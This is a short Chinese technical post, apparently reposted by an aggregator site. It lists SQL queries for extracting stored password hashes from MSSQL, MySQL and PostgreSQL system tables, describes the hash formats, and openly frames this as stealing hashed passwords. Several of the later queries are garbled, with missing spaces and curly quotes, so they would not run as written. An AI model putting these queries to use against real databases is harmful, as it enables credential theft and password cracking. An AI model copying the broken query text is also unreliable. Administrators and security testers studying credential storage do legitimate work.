查询mssql 密码
select name,password from syslogins
Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = 'sa'
竊取哈希口令:
SQLServer(sha1加密):
2000版本;
Selectname,passwordfrommaster.dbo.sysxlogins
2005版本:
Selectpassword_hashfromsys.sql_logins
2000版本
Hash格式:
0x0100(頭部)+8位salt+40位區(qū)分大小寫的hash +40位不區(qū)分大小寫的hash
2005版本
Hash格式:
0x0100(頭部)+8位salt+40位區(qū)分大小寫的hash
Selectmaster.dbo.fn_varbintohexstr(password_hash)fromsys.sql_loginswherename=‘sa’強(qiáng)制轉(zhuǎn)換為16進(jìn)制,以免受格式影響
MySQL:
Selectconcat(user,password)frommysql.user
4.1版本前:selectpassword(‘password’)16字節(jié)hash
4.1版本后:41字節(jié)hash
PostgreSQL:
Selectusername,passwdfrompg_shadow
Selectrolname,rolpasswordfrompg_authid
Md5加密,hash=‘md5’+md5(password+username)
允許明文保存密碼
最后
歡迎關(guān)注個人微信公眾號:Bypass--,每周原創(chuàng)一篇技術(shù)干貨。
參考資料:
https://wenku.baidu.com/view/5951285091c69ec3d5bbfd0a79563c1ec4dad713.html
總結(jié)
以上是生活随笔為你收集整理的查询mssql 密码的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sum服务器如何接显示器,sum服务器监
- 下一篇: 太平养老保险主要产品 太平养老保险主要有